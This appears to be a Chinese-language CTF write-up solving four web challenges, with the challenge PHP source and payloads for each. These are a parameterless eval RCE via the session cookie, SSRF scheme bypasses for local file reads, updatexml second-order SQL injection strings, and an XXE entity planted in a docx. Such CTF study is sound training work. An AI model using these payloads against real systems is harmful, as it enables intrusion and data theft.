RCE_NOPAR
無字符GETSHELL就行
payload:eval(hex2bin(session_id(session_start())))
改PHPSSEION值爲16進制就行
SSRF
把file後面的參數兩層base64解開,就知道可以包含其他文件,兩層base64編碼就行
第一層讀index.php
<?php
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '<title>'.$_GET['file'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename: '. $file.'</br>';
$file = str_replace("ctf","flag", $file);
echo 'real_filename: '.$file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
* Hint: hal0flagi5here.php
*/
繼續讀hal0flagi5here.php
<?php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
$r = parse_url($argv[1]);
print_r($r);
if(preg_match('/happyctf\.com$/',$r['host']))
{
$url=file_get_contents($argv[1]);
echo($url);
}else
{
echo("error");
}
}else
{
echo "403 Forbidden";
}
?>
這裏卡了我很久,用data://happyctf.com/plain,base64,xxxxx只能構造返回體,不能任意讀文件。
通過測試,file_get_contents()中如果是不規範的協議,則進行本地文件包含,構造
0://happyctf.com/../../../../flag.txt
compress.zlib://happyctf.com/../../../../../../flag.txt
這兩種都可以
SQLI
這種涉及註冊登錄改密頁面的,一般都是二次注入
- 註冊用戶:ccc"
- 密碼:ccc
改密碼的時候報錯了
ccc"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
ccc"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),0x7e),1)#
ccc"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#
XXE
下載模板docx文件,後綴改爲zip,直接在zip下修改docProps/core.xml
文件內容爲
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "/flag.txt">
]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title>&xxe;</dc:title>
<dc:subject></dc:subject>
<dc:creator></dc:creator>
<cp:keywords></cp:keywords>
<dc:description></dc:description>
<cp:lastModifiedBy></cp:lastModifiedBy>
<cp:revision>1</cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2015-08-01T19:01:00Z</dcterms:modified>
</cp:coreProperties>
改回docx格式上傳即可